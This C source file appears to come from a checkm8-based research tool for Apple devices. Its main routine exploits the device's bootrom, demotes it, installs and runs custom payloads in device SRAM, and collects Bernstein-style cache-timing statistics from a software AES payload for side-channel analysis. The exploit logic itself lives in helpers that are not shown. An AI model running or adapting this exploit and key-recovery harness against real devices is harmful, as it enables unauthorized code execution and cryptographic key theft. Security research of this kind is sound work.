Files
checkm8_tool/c8_remote/main.c

603 lines
19 KiB
C

#include "checkm8.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include <unistd.h>
#include <zconf.h>
#include "command.h"
#include "payload.h"
#include "usb_helpers.h"
#include "bootrom_addr.h"
#include "bootrom_type.h"
#ifdef CHECKM8_LOGGING
#include <stdarg.h>
#include <execinfo.h>
#include <stdlib.h>
#endif
void checkm8_debug_indent(const char *format, ...)
{
#ifdef CHECKM8_LOGGING
void *traces[100];
int depth = backtrace(traces, 100) - 5;
for(int i = 0; i < depth; i++)
{
printf("\t");
}
va_list args;
va_start(args, format);
vprintf(format, args);
va_end(args);
#endif
}
void checkm8_debug_block(const char *format, ...)
{
#ifdef CHECKM8_LOGGING
va_list args;
va_start (args, format);
vprintf(format, args);
va_end(args);
#endif
}
void floppysleep(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
close_device_session(dev);
}
void floppysleep_async(struct pwned_device *dev)
{
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr, async_buf_ptr;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
close_device_session(dev);
printf("async buf pointer is %llX\n", async_buf_ptr);
// sleep(10);
//
// open_device_session(dev);
// resp = read_gadget(dev, async_buf_ptr, 8);
// close_device_session(dev);
}
struct aes_pointers
{
DEV_PTR_T addr_sbox;
DEV_PTR_T addr_rc;
DEV_PTR_T addr_mul2;
DEV_PTR_T addr_mul3;
};
struct aes_pointers *install_aes_data(struct pwned_device *dev)
{
int close;
struct aes_pointers *res = malloc(sizeof(struct aes_pointers));
unsigned char sbox[256] =
{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
};
unsigned char mul3_lookup[256] =
{
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
if(is_device_session_open(dev)) close = 0;
else
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
free(res);
return NULL;
}
}
res->addr_sbox = install_data(dev, SRAM, sbox, 256);
if(res->addr_sbox == DEV_PTR_NULL)
{
printf("failed to write sbox\n");
free(res);
return NULL;
}
res->addr_rc = install_data(dev, SRAM, rc_lookup, 11);
if(res->addr_rc == DEV_PTR_NULL)
{
printf("failed to write rc lookup\n");
free(res);
return NULL;
}
res->addr_mul2 = install_data(dev, SRAM, mul2_lookup, 256);
if(res->addr_mul2 == DEV_PTR_NULL)
{
printf("failed to write mul2 lookup\n");
free(res);
return NULL;
}
res->addr_mul3 = install_data(dev, SRAM, mul3_lookup, 256);
if(res->addr_mul3 == DEV_PTR_NULL)
{
printf("failed to write mul3 lookup\n");
free(res);
return NULL;
}
if(close)
{
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
}
return res;
}
void aes_sw(struct pwned_device *dev)
{
int i = 0;
struct dev_cmd_resp *resp;
struct aes_pointers *ptrs = install_aes_data(dev);
DEV_PTR_T addr_key, addr_data;
unsigned char key[16] = {};
unsigned char data[16] = {};
addr_key = install_data(dev, SRAM, key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to write key\n");
return;
}
addr_data = install_data(dev, SRAM, data, 16);
if(addr_data == DEV_PTR_NULL)
{
printf("failed to write data\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
return;
}
for(i = 0; i < 100; i++)
{
resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
addr_data, 16, addr_key,
ptrs->addr_sbox, ptrs->addr_rc, ptrs->addr_mul2, ptrs->addr_mul3);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sw AES payload\n");
return;
}
printf("%i) op took %llu\n", i, resp->retval);
free_dev_cmd_resp(resp);
// resp = read_gadget(dev, addr_data, 16);
// if(IS_CHECKM8_FAIL(resp->ret))
// {
// printf("failed to read encrypted data from memory\n");
// }
//
// printf(" -> ");
// for(int j = 0; j < 16; j++)
// {
// printf("%02x", resp->data[j]);
// }
// printf("\n");
//
// free_dev_cmd_resp(resp);
//usleep(1000000);
}
uninstall_all_payloads(dev);
uninstall_all_data(dev);
close_device_session(dev);
}
DEV_PTR_T aes_sw_bernstein(struct pwned_device *dev)
{
DEV_PTR_T addr_data, addr_key, addr_async_buf;
unsigned char data[16];
unsigned char key[16];
memset(key, 0, 16);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
struct dev_cmd_resp *resp;
struct aes_pointers *ptrs = install_aes_data(dev);
if(ptrs == NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_data = install_data(dev, SRAM, data, 16);
if(addr_data == DEV_PTR_NULL)
{
printf("failed to install aes data\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW,
sizeof(struct aes_sw_bernstein_data),
7, addr_data, 16, addr_key,
ptrs->addr_sbox, ptrs->addr_rc, ptrs->addr_mul2, ptrs->addr_mul3);
run_payload_async(dev, PAYLOAD_AES_SW);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
free(ptrs);
return addr_async_buf;
}
void usb_task_exit(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
{
printf("failed to uninstall sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0,
1, get_payload_address(dev, PAYLOAD_EXIT_USB_TASK));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to exit usb task\n");
return;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return;
}
}
int main()
{
struct dev_cmd_resp *resp;
struct aes_sw_bernstein_data *data;
struct pwned_device *dev = exploit_device();
DEV_PTR_T addr_async_buf;
int j, b;
double u[16][256];
double udev[16][256];
double taverage;
if(dev == NULL || dev->status == DEV_NORMAL)
{
printf("Failed to exploit device\n");
return -1;
}
fix_heap(dev);
demote_device(dev);
addr_async_buf = aes_sw_bernstein(dev);
printf("got async buf ptr %llx\n", addr_async_buf);
if(addr_async_buf == DEV_PTR_NULL)
{
return -1;
}
while(1)
{
sleep(15);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session");
return -1;
}
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
addr_async_buf + offsetof(struct aes_sw_bernstein_data, ev_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal for data\n");
free_dev_cmd_resp(resp);
return -1;
}
free_dev_cmd_resp(resp);
resp = read_gadget(dev, addr_async_buf, sizeof(struct aes_sw_bernstein_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return -1;
}
data = (struct aes_sw_bernstein_data *) resp->data;
printf("have count %lli\n", data->count);
taverage = data->ttotal / (double) data->count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = data->t[j][b] / data->tnum[j][b];
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
printf("%2d %3d %lli %.3f %.3f %.3f %.3f\n",
j, b, (long long) data->tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b])
);
}
}
free_dev_cmd_resp(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
addr_async_buf + offsetof(struct aes_sw_bernstein_data, ev_done));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data end\n");
free_dev_cmd_resp(resp);
return -1;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return -1;
}
}
free_device(dev);
}